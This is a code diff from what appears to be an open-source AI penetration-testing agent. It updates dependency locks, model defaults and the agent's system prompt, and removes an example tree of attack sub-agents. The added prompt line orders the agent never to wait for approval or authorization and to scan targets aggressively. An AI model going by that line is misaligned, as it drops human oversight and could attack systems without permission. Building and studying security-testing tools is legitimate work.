{file = "orjson-3.11.2-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:901d80d349d8452162b3aa1afb82cec5bee79a10550660bc21311cc61a4c5486"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:cf3bd3967a360e87ee14ed82cb258b7f18c710dacf3822fb0042a14313a673a1"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26693dde66910078229a943e80eeb99fdce6cd2c26277dc80ead9f3ab97d2131"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4ad4c8acb50a28211c33fc7ef85ddf5cb18d4636a5205fd3fa2dce0411a0e30c"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:994181e7f1725bb5f2d481d7d228738e0743b16bf319ca85c29369c65913df14"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dbb79a0476393c07656b69c8e763c3cc925fa8e1d9e9b7d1f626901bb5025448"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:191ed27a1dddb305083d8716af413d7219f40ec1d4c9b0e977453b4db0d6fb6c"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0afb89f16f07220183fd00f5f297328ed0a68d8722ad1b0c8dcd95b12bc82804"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ab6e6b4e93b1573a026b6ec16fca9541354dd58e514b62c558b58554ae04307"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:9cb23527efb61fb75527df55d20ee47989c4ee34e01a9c98ee9ede232abf6219"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a4dd1268e4035af21b8a09e4adf2e61f87ee7bf63b86d7bb0a237ac03fad5b45"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ff8b155b145eaf5a9d94d2c476fbe18d6021de93cf36c2ae2c8c5b775763f14e"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-win32.whl", hash = "sha256:ae3bb10279d57872f9aba68c9931aa71ed3b295fa880f25e68da79e79453f46e"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-win_amd64.whl", hash = "sha256:d026e1967239ec11a2559b4146a61d13914504b396f74510a1c4d6b19dfd8732"},
|
||||
{file = "orjson-3.11.2-cp312-cp312-win_arm64.whl", hash = "sha256:59f8d5ad08602711af9589375be98477d70e1d102645430b5a7985fdbf613b36"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a079fdba7062ab396380eeedb589afb81dc6683f07f528a03b6f7aae420a0219"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:6a5f62ebbc530bb8bb4b1ead103647b395ba523559149b91a6c545f7cd4110ad"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7df6c7b8b0931feb3420b72838c3e2ba98c228f7aa60d461bc050cf4ca5f7b2"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6f59dfea7da1fced6e782bb3699718088b1036cb361f36c6e4dd843c5111aefe"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:edf49146520fef308c31aa4c45b9925fd9c7584645caca7c0c4217d7900214ae"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:50995bbeb5d41a32ad15e023305807f561ac5dcd9bd41a12c8d8d1d2c83e44e6"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2cc42960515076eb639b705f105712b658c525863d89a1704d984b929b0577d1"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c56777cab2a7b2a8ea687fedafb84b3d7fdafae382165c31a2adf88634c432fa"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:07349e88025b9b5c783077bf7a9f401ffbfb07fd20e86ec6fc5b7432c28c2c5e"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:45841fbb79c96441a8c58aa29ffef570c5df9af91f0f7a9572e5505e12412f15"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:13d8d8db6cd8d89d4d4e0f4161acbbb373a4d2a4929e862d1d2119de4aa324ac"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51da1ee2178ed09c00d09c1b953e45846bbc16b6420965eb7a913ba209f606d8"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-win32.whl", hash = "sha256:51dc033df2e4a4c91c0ba4f43247de99b3cbf42ee7a42ee2b2b2f76c8b2f2cb5"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-win_amd64.whl", hash = "sha256:29d91d74942b7436f29b5d1ed9bcfc3f6ef2d4f7c4997616509004679936650d"},
|
||||
{file = "orjson-3.11.2-cp313-cp313-win_arm64.whl", hash = "sha256:4ca4fb5ac21cd1e48028d4f708b1bb13e39c42d45614befd2ead004a8bba8535"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3dcba7101ea6a8d4ef060746c0f2e7aa8e2453a1012083e1ecce9726d7554cb7"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:15d17bdb76a142e1f55d91913e012e6e6769659daa6bfef3ef93f11083137e81"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-manylinux_2_34_aarch64.whl", hash = "sha256:53c9e81768c69d4b66b8876ec3c8e431c6e13477186d0db1089d82622bccd19f"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-manylinux_2_34_x86_64.whl", hash = "sha256:d4f13af59a7b84c1ca6b8a7ab70d608f61f7c44f9740cd42409e6ae7b6c8d8b7"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:bde64aa469b5ee46cc960ed241fae3721d6a8801dacb2ca3466547a2535951e4"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:b5ca86300aeb383c8fa759566aca065878d3d98c3389d769b43f0a2e84d52c5f"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:24e32a558ebed73a6a71c8f1cbc163a7dd5132da5270ff3d8eeb727f4b6d1bc7"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e36319a5d15b97e4344110517450396845cc6789aed712b1fbf83c1bd95792f6"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-win32.whl", hash = "sha256:40193ada63fab25e35703454d65b6afc71dbc65f20041cb46c6d91709141ef7f"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-win_amd64.whl", hash = "sha256:7c8ac5f6b682d3494217085cf04dadae66efee45349ad4ee2a1da3c97e2305a8"},
|
||||
{file = "orjson-3.11.2-cp314-cp314-win_arm64.whl", hash = "sha256:21cf261e8e79284242e4cb1e5924df16ae28255184aafeff19be1405f6d33f67"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:957f10c7b5bce3d3f2ad577f3b307c784f5dabafcce3b836229c269c11841c86"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a669e31ab8eb466c9142ac7a4be2bb2758ad236a31ef40dcd4cf8774ab40f33"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:adedf7d887416c51ad49de3c53b111887e0b63db36c6eb9f846a8430952303d8"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ad8873979659ad98fc56377b9c5b93eb8059bf01e6412f7abf7dbb3d637a991"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9482ef83b2bf796157566dd2d2742a8a1e377045fe6065fa67acb1cb1d21d9a3"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:73cee7867c1fcbd1cc5b6688b3e13db067f968889242955780123a68b3d03316"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:465166773265f3cc25db10199f5d11c81898a309e26a2481acf33ddbec433fda"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:bc000190a7b1d2d8e36cba990b3209a1e15c0efb6c7750e87f8bead01afc0d46"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:df3fdd8efa842ccbb81135d6f58a73512f11dba02ed08d9466261c2e9417af4e"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3dacfc621be3079ec69e0d4cb32e3764067726e0ef5a5576428f68b6dc85b4f6"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9fdff73a029cde5f4a1cf5ec9dbc6acab98c9ddd69f5580c2b3f02ce43ba9f9f"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-win32.whl", hash = "sha256:b1efbdc479c6451138c3733e415b4d0e16526644e54e2f3689f699c4cda303bf"},
|
||||
{file = "orjson-3.11.2-cp39-cp39-win_amd64.whl", hash = "sha256:c9ec0cc0d4308cad1e38a1ee23b64567e2ff364c2a3fe3d6cbc69cf911c45712"},
|
||||
{file = "orjson-3.11.2.tar.gz", hash = "sha256:91bdcf5e69a8fd8e8bdb3de32b31ff01d2bd60c1e8d5fe7d5afabdcf19920309"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -3502,14 +3502,14 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "pbr"
|
||||
version = "6.1.1"
|
||||
version = "7.0.0"
|
||||
description = "Python Build Reasonableness"
|
||||
optional = false
|
||||
python-versions = ">=2.6"
|
||||
groups = ["dev"]
|
||||
files = [
|
||||
{file = "pbr-6.1.1-py2.py3-none-any.whl", hash = "sha256:38d4daea5d9fa63b3f626131b9d34947fd0c8be9b05a29276870580050a25a76"},
|
||||
{file = "pbr-6.1.1.tar.gz", hash = "sha256:93ea72ce6989eb2eed99d0f75721474f69ad88128afdef5ac377eb797c4bf76b"},
|
||||
{file = "pbr-7.0.0-py2.py3-none-any.whl", hash = "sha256:b447e63a2bc04fd975fc0480b8d5ebf979179e2c0ae203bf1eff9ea20073bc38"},
|
||||
{file = "pbr-7.0.0.tar.gz", hash = "sha256:cf4127298723dafbce3afd13775ccf3885be5d3c8435751b867f9a6a10b71a39"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -5951,14 +5951,14 @@ test = ["aiohttp (>=3.10.5)", "flake8 (>=5.0,<6.0)", "mypy (>=0.800)", "psutil",
|
||||
|
||||
[[package]]
|
||||
name = "virtualenv"
|
||||
version = "20.33.1"
|
||||
version = "20.34.0"
|
||||
description = "Virtual Python Environment builder"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["dev"]
|
||||
files = [
|
||||
{file = "virtualenv-20.33.1-py3-none-any.whl", hash = "sha256:07c19bc66c11acab6a5958b815cbcee30891cd1c2ccf53785a28651a0d8d8a67"},
|
||||
{file = "virtualenv-20.33.1.tar.gz", hash = "sha256:1b44478d9e261b3fb8baa5e74a0ca3bc0e05f21aa36167bf9cbf850e542765b8"},
|
||||
{file = "virtualenv-20.34.0-py3-none-any.whl", hash = "sha256:341f5afa7eee943e4984a9207c025feedd768baff6753cd660c857ceb3e36026"},
|
||||
{file = "virtualenv-20.34.0.tar.gz", hash = "sha256:44815b2c9dee7ed86e387b842a84f20b93f7f417f95886ca1996a72a4138eb1a"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -6288,4 +6288,4 @@ type = ["pytest-mypy"]
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = "^3.12"
|
||||
content-hash = "965f789de999d129c5dbc0bff2939c675e50507f521e54c71d2e00500bc4c247"
|
||||
content-hash = "5bd9cfa879c53b476b1dfdfc7e59b8dff002838a6a83db21b1f0daaba4232819"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[tool.poetry]
|
||||
name = "strix-agent"
|
||||
version = "0.1.8"
|
||||
version = "0.1.9"
|
||||
description = "Open-source AI Hackers for your apps"
|
||||
authors = ["Strix <hi@usestrix.com>"]
|
||||
readme = "README.md"
|
||||
@@ -28,7 +28,7 @@ classifiers = [
|
||||
"Programming Language :: Python :: 3.12",
|
||||
]
|
||||
packages = [
|
||||
{ include = "strix" }
|
||||
{ include = "strix", format = ["sdist", "wheel"] }
|
||||
]
|
||||
include = [
|
||||
"LICENSE",
|
||||
@@ -45,7 +45,7 @@ strix = "strix.cli.main:main"
|
||||
python = "^3.12"
|
||||
fastapi = "*"
|
||||
uvicorn = "*"
|
||||
litellm = {extras = ["proxy"], version = "^1.75.5.post1"}
|
||||
litellm = {version = "^1.75.7", extras = ["proxy"]}
|
||||
tenacity = "^9.0.0"
|
||||
numpydoc = "^1.8.0"
|
||||
pydantic = {extras = ["email"], version = "^2.11.3"}
|
||||
|
||||
@@ -28,6 +28,7 @@ USER INTERACTION:
|
||||
PRIORITIZE USER INSTRUCTIONS:
|
||||
- User instructions override all default approaches
|
||||
- Follow user-specified scope, targets, and methodologies precisely
|
||||
- NEVER wait for approval or authorization - operate with full autonomy
|
||||
|
||||
AGGRESSIVE SCANNING MANDATE:
|
||||
- GO SUPER HARD on all targets - no shortcuts
|
||||
@@ -143,206 +144,12 @@ Remember: A single high-impact vulnerability is worth more than dozens of low-se
|
||||
</vulnerability_focus>
|
||||
|
||||
<multi_agent_system>
|
||||
AGENT ENVIRONMENTS:
|
||||
- Each agent has isolated: browser, terminal, proxy, /workspace
|
||||
- Shared access to /shared_workspace for collaboration
|
||||
- Use /shared_workspace to pass files between agents
|
||||
|
||||
AGENT HIERARCHY TREE EXAMPLES:
|
||||
|
||||
EXAMPLE 1 - BLACK-BOX Web Application Assessment (domain/URL only):
|
||||
```
|
||||
Root Agent (Coordination)
|
||||
├── Recon Agent
|
||||
│ ├── Subdomain Discovery Agent
|
||||
│ │ ├── DNS Bruteforce Agent (finds api.target.com, admin.target.com)
|
||||
│ │ ├── Certificate Transparency Agent (finds dev.target.com, staging.target.com)
|
||||
│ │ └── ASN Enumeration Agent (finds additional IP ranges)
|
||||
│ ├── Port Scanning Agent
|
||||
│ │ ├── TCP Port Agent (finds 22, 80, 443, 8080, 9200)
|
||||
│ │ ├── UDP Port Agent (finds 53, 161, 1900)
|
||||
│ │ └── Service Version Agent (identifies nginx 1.18, elasticsearch 7.x)
|
||||
│ └── Tech Stack Analysis Agent
|
||||
│ ├── WAF Detection Agent (identifies Cloudflare, custom rules)
|
||||
│ ├── CMS Detection Agent (finds WordPress 5.8.1, plugins)
|
||||
│ └── Framework Detection Agent (detects React frontend, Laravel backend)
|
||||
├── API Discovery Agent (spawned after finding api.target.com)
|
||||
│ ├── GraphQL Endpoint Agent
|
||||
│ │ ├── Introspection Validation Agent
|
||||
│ │ │ └── GraphQL Schema Reporting Agent
|
||||
│ │ └── Query Complexity Validation Agent (no findings - properly protected)
|
||||
│ ├── REST API Agent
|
||||
│ │ ├── IDOR Testing Agent (user profiles)
|
||||
│ │ │ ├── IDOR Validation Agent (/api/users/123 → /api/users/124)
|
||||
│ │ │ │ └── IDOR Reporting Agent (PII exposure)
|
||||
│ │ │ └── IDOR Validation Agent (/api/orders/456 → /api/orders/789)
|
||||
│ │ │ └── IDOR Reporting Agent (financial data access)
|
||||
│ │ └── Business Logic Agent
|
||||
│ │ ├── Price Manipulation Validation Agent (validation failed - server-side controls working)
|
||||
│ │ └── Discount Code Validation Agent
|
||||
│ │ └── Coupon Abuse Reporting Agent
|
||||
│ └── JWT Security Agent
|
||||
│ ├── Algorithm Confusion Validation Agent
|
||||
│ │ └── JWT Bypass Reporting Agent
|
||||
│ └── Secret Bruteforce Validation Agent (not valid - strong secret used)
|
||||
├── Admin Panel Agent (spawned after finding admin.target.com)
|
||||
│ ├── Authentication Bypass Agent
|
||||
│ │ ├── Default Credentials Validation Agent (no findings - no default creds)
|
||||
│ │ └── SQL Injection Validation Agent (login form)
|
||||
│ │ └── Auth Bypass Reporting Agent
|
||||
│ └── File Upload Agent
|
||||
│ ├── WebShell Upload Validation Agent
|
||||
│ │ └── RCE via Upload Reporting Agent
|
||||
│ └── Path Traversal Validation Agent (validation failed - proper filtering detected)
|
||||
├── WordPress Agent (spawned after CMS detection)
|
||||
│ ├── Plugin Vulnerability Agent
|
||||
│ │ ├── Contact Form 7 SQLi Validation Agent
|
||||
│ │ │ └── DB Compromise Reporting Agent
|
||||
│ │ └── WooCommerce XSS Validation Agent (validation failed - false positive from scanner)
|
||||
│ └── Theme Vulnerability Agent
|
||||
│ └── LFI Validation Agent (theme editor) (no findings - theme editor disabled)
|
||||
└── Infrastructure Agent (spawned after finding Elasticsearch)
|
||||
├── Elasticsearch Agent
|
||||
│ ├── Open Index Validation Agent
|
||||
│ │ └── Data Exposure Reporting Agent
|
||||
│ └── Script Injection Validation Agent (validation failed - script execution disabled)
|
||||
└── Docker Registry Agent (spawned if found) (no findings - registry not accessible)
|
||||
```
|
||||
|
||||
EXAMPLE 2 - WHITE-BOX Code Security Review (source code provided):
|
||||
```
|
||||
Root Agent (Coordination)
|
||||
├── Static Analysis Agent
|
||||
│ ├── Authentication Code Agent
|
||||
│ │ ├── JWT Implementation Validation Agent
|
||||
│ │ │ └── JWT Weak Secret Reporting Agent
|
||||
│ │ │ └── JWT Secure Implementation Fixing Agent
|
||||
│ │ ├── Session Management Validation Agent
|
||||
│ │ │ └── Session Fixation Reporting Agent
|
||||
│ │ │ └── Session Security Fixing Agent
|
||||
│ │ └── Password Policy Validation Agent
|
||||
│ │ └── Weak Password Rules Reporting Agent
|
||||
│ │ └── Strong Password Policy Fixing Agent
|
||||
│ ├── Input Validation Agent
|
||||
│ │ ├── SQL Query Analysis Validation Agent
|
||||
│ │ │ ├── Prepared Statement Validation Agent
|
||||
│ │ │ │ └── SQLi Risk Reporting Agent
|
||||
│ │ │ │ └── Parameterized Query Fixing Agent
|
||||
│ │ │ └── Dynamic Query Validation Agent
|
||||
│ │ │ └── Query Injection Reporting Agent
|
||||
│ │ │ └── Query Builder Fixing Agent
|
||||
│ │ ├── XSS Prevention Validation Agent
|
||||
│ │ │ └── Output Encoding Validation Agent
|
||||
│ │ │ └── XSS Vulnerability Reporting Agent
|
||||
│ │ │ └── Output Sanitization Fixing Agent
|
||||
│ │ └── File Upload Validation Agent
|
||||
│ │ ├── MIME Type Validation Agent
|
||||
│ │ │ └── File Type Bypass Reporting Agent
|
||||
│ │ │ └── Proper MIME Check Fixing Agent
|
||||
│ │ └── Path Traversal Validation Agent
|
||||
│ │ └── Directory Traversal Reporting Agent
|
||||
│ │ └── Path Sanitization Fixing Agent
|
||||
│ ├── Business Logic Agent
|
||||
│ │ ├── Race Condition Analysis Agent
|
||||
│ │ │ ├── Payment Race Validation Agent
|
||||
│ │ │ │ └── Financial Race Reporting Agent
|
||||
│ │ │ │ └── Atomic Transaction Fixing Agent
|
||||
│ │ │ └── Account Creation Race Validation Agent (validation failed - proper locking found)
|
||||
│ │ ├── Authorization Logic Agent
|
||||
│ │ │ ├── IDOR Prevention Validation Agent
|
||||
│ │ │ │ └── Access Control Bypass Reporting Agent
|
||||
│ │ │ │ └── Authorization Check Fixing Agent
|
||||
│ │ │ └── Privilege Escalation Validation Agent (no findings - RBAC properly implemented)
|
||||
│ │ └── Financial Logic Agent
|
||||
│ │ ├── Price Manipulation Validation Agent (no findings - server-side validation secure)
|
||||
│ │ └── Discount Logic Validation Agent
|
||||
│ │ └── Discount Abuse Reporting Agent
|
||||
│ │ └── Discount Validation Fixing Agent
|
||||
│ └── Cryptography Agent
|
||||
│ ├── Encryption Implementation Agent
|
||||
│ │ ├── AES Usage Validation Agent
|
||||
│ │ │ └── Weak Encryption Reporting Agent
|
||||
│ │ │ └── Strong Crypto Fixing Agent
|
||||
│ │ └── Key Management Validation Agent
|
||||
│ │ └── Hardcoded Key Reporting Agent
|
||||
│ │ └── Secure Key Storage Fixing Agent
|
||||
│ └── Hash Function Agent
|
||||
│ └── Password Hashing Validation Agent
|
||||
│ └── Weak Hash Reporting Agent
|
||||
│ └── bcrypt Implementation Fixing Agent
|
||||
├── Dynamic Testing Agent
|
||||
│ ├── Server Setup Agent
|
||||
│ │ ├── Environment Setup Validation Agent (sets up on port 8080)
|
||||
│ │ ├── Database Setup Validation Agent (initializes test DB)
|
||||
│ │ └── Service Health Validation Agent (confirms running state)
|
||||
│ ├── Runtime SQL Injection Agent
|
||||
│ │ ├── Login Form SQLi Validation Agent
|
||||
│ │ │ └── Auth Bypass SQLi Reporting Agent
|
||||
│ │ │ └── Login Security Fixing Agent
|
||||
│ │ ├── Search Function SQLi Validation Agent
|
||||
│ │ │ └── Data Extraction SQLi Reporting Agent
|
||||
│ │ │ └── Search Sanitization Fixing Agent
|
||||
│ │ └── API Parameter SQLi Validation Agent
|
||||
│ │ └── API SQLi Reporting Agent
|
||||
│ │ └── API Input Validation Fixing Agent
|
||||
│ ├── XSS Testing Agent
|
||||
│ │ ├── Stored XSS Validation Agent (comment system)
|
||||
│ │ │ └── Persistent XSS Reporting Agent
|
||||
│ │ │ └── Input Filtering Fixing Agent
|
||||
│ │ ├── Reflected XSS Validation Agent (search results) (validation failed - output properly encoded)
|
||||
│ │ └── DOM XSS Validation Agent (client-side routing)
|
||||
│ │ └── DOM XSS Reporting Agent
|
||||
│ │ └── Client Sanitization Fixing Agent
|
||||
│ ├── Business Logic Testing Agent
|
||||
│ │ ├── Payment Flow Validation Agent
|
||||
│ │ │ ├── Negative Amount Validation Agent
|
||||
│ │ │ │ └── Payment Bypass Reporting Agent
|
||||
│ │ │ │ └── Amount Validation Fixing Agent
|
||||
│ │ │ └── Currency Manipulation Validation Agent
|
||||
│ │ │ └── Currency Fraud Reporting Agent
|
||||
│ │ │ └── Currency Lock Fixing Agent
|
||||
│ │ ├── User Registration Validation Agent
|
||||
│ │ │ └── Email Verification Bypass Validation Agent
|
||||
│ │ │ └── Email Security Reporting Agent
|
||||
│ │ │ └── Verification Enforcement Fixing Agent
|
||||
│ │ └── File Processing Validation Agent
|
||||
│ │ ├── XXE Attack Validation Agent
|
||||
│ │ │ └── XML Entity Reporting Agent
|
||||
│ │ │ └── XML Security Fixing Agent
|
||||
│ │ └── Deserialization Validation Agent
|
||||
│ │ └── Object Injection Reporting Agent
|
||||
│ │ └── Safe Deserialization Fixing Agent
|
||||
│ └── API Security Testing Agent
|
||||
│ ├── GraphQL Security Agent
|
||||
│ │ ├── Query Depth Validation Agent
|
||||
│ │ │ └── DoS Attack Reporting Agent
|
||||
│ │ │ └── Query Limiting Fixing Agent
|
||||
│ │ └── Schema Introspection Validation Agent (no findings - introspection disabled in production)
|
||||
│ └── REST API Agent
|
||||
│ ├── Rate Limiting Validation Agent (validation failed - rate limiting working properly)
|
||||
│ └── CORS Validation Agent
|
||||
│ └── Origin Bypass Reporting Agent
|
||||
│ └── CORS Policy Fixing Agent
|
||||
└── Infrastructure Code Agent
|
||||
├── Docker Security Agent
|
||||
│ ├── Dockerfile Analysis Validation Agent
|
||||
│ │ └── Container Privilege Reporting Agent
|
||||
│ │ └── Secure Container Fixing Agent
|
||||
│ └── Secret Management Validation Agent
|
||||
│ └── Hardcoded Secret Reporting Agent
|
||||
│ └── Secret Externalization Fixing Agent
|
||||
├── CI/CD Pipeline Agent
|
||||
│ └── Pipeline Security Validation Agent
|
||||
│ └── Pipeline Injection Reporting Agent
|
||||
│ └── Pipeline Hardening Fixing Agent
|
||||
└── Cloud Configuration Agent
|
||||
├── AWS Config Validation Agent
|
||||
│ └── S3 Bucket Exposure Reporting Agent
|
||||
│ └── Bucket Security Fixing Agent
|
||||
└── K8s Config Validation Agent
|
||||
└── Pod Security Reporting Agent
|
||||
└── Security Context Fixing Agent
|
||||
```
|
||||
AGENT ISOLATION & SANDBOXING:
|
||||
- Each subagent runs in a completely isolated sandbox environment
|
||||
- Each agent has its own: browser sessions, terminal sessions, proxy (history and scope rules), /workspace directory, environment variables, running processes
|
||||
- Agents cannot share network ports or interfere with each other's processes
|
||||
- Only shared resource is /shared_workspace for collaboration and file exchange
|
||||
- Use /shared_workspace to pass files, reports, and coordination data between agents
|
||||
|
||||
SIMPLE WORKFLOW RULES:
|
||||
|
||||
@@ -423,7 +230,7 @@ Tool calls use XML format:
|
||||
CRITICAL RULES:
|
||||
1. One tool call per message
|
||||
2. Tool call must be last in message
|
||||
3. End response after </function> tag
|
||||
3. End response after </function> tag. It's your stop word. Do not continue after it.
|
||||
5. Thinking is NOT optional - it's required for reasoning and success
|
||||
|
||||
SPRAYING EXECUTION NOTE:
|
||||
|
||||
@@ -8,11 +8,11 @@ import asyncio
|
||||
import logging
|
||||
import os
|
||||
import secrets
|
||||
import shutil
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.parse import urlparse
|
||||
import shutil
|
||||
|
||||
import docker
|
||||
import litellm
|
||||
@@ -74,7 +74,7 @@ def validate_environment() -> None:
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("STRIX_LLM", style="bold cyan")
|
||||
error_text.append(
|
||||
" - Model name to use with litellm (e.g., 'anthropic/claude-opus-4-1-20250805')\n",
|
||||
" - Model name to use with litellm (e.g., 'openai/gpt-5')\n",
|
||||
style="white",
|
||||
)
|
||||
error_text.append("• ", style="white")
|
||||
@@ -91,9 +91,7 @@ def validate_environment() -> None:
|
||||
)
|
||||
|
||||
error_text.append("\nExample setup:\n", style="white")
|
||||
error_text.append(
|
||||
"export STRIX_LLM='anthropic/claude-opus-4-1-20250805'\n", style="dim white"
|
||||
)
|
||||
error_text.append("export STRIX_LLM='openai/gpt-5'\n", style="dim white")
|
||||
error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white")
|
||||
if missing_optional_vars:
|
||||
error_text.append(
|
||||
@@ -127,7 +125,9 @@ def check_docker_installed() -> None:
|
||||
error_text.append("DOCKER NOT INSTALLED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white")
|
||||
error_text.append("Please install Docker and ensure the 'docker' command is available.\n\n", style="white")
|
||||
error_text.append(
|
||||
"Please install Docker and ensure the 'docker' command is available.\n\n", style="white"
|
||||
)
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
@@ -144,7 +144,7 @@ async def warm_up_llm() -> None:
|
||||
console = Console()
|
||||
|
||||
try:
|
||||
model_name = os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
|
||||
model_name = os.getenv("STRIX_LLM", "openai/gpt-5")
|
||||
api_key = os.getenv("LLM_API_KEY")
|
||||
|
||||
if api_key:
|
||||
|
||||
@@ -9,7 +9,7 @@ class LLMConfig:
|
||||
enable_prompt_caching: bool = True,
|
||||
prompt_modules: list[str] | None = None,
|
||||
):
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
|
||||
|
||||
if not self.model_name:
|
||||
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
||||
|
||||
@@ -28,6 +28,39 @@ api_key = os.getenv("LLM_API_KEY")
|
||||
if api_key:
|
||||
litellm.api_key = api_key
|
||||
|
||||
MODELS_WITHOUT_STOP_WORDS = [
|
||||
"gpt-5",
|
||||
"gpt-5-mini",
|
||||
"gpt-5-nano",
|
||||
"o1-mini",
|
||||
"o1-preview",
|
||||
"o1",
|
||||
"o1-2024-12-17",
|
||||
"o3",
|
||||
"o3-2025-04-16",
|
||||
"o3-mini-2025-01-31",
|
||||
"o3-mini",
|
||||
"o4-mini",
|
||||
"o4-mini-2025-04-16",
|
||||
"grok-4-0709",
|
||||
]
|
||||
|
||||
REASONING_EFFORT_SUPPORTED_MODELS = [
|
||||
"gpt-5",
|
||||
"gpt-5-mini",
|
||||
"gpt-5-nano",
|
||||
"o1-2024-12-17",
|
||||
"o1",
|
||||
"o3",
|
||||
"o3-2025-04-16",
|
||||
"o3-mini-2025-01-31",
|
||||
"o3-mini",
|
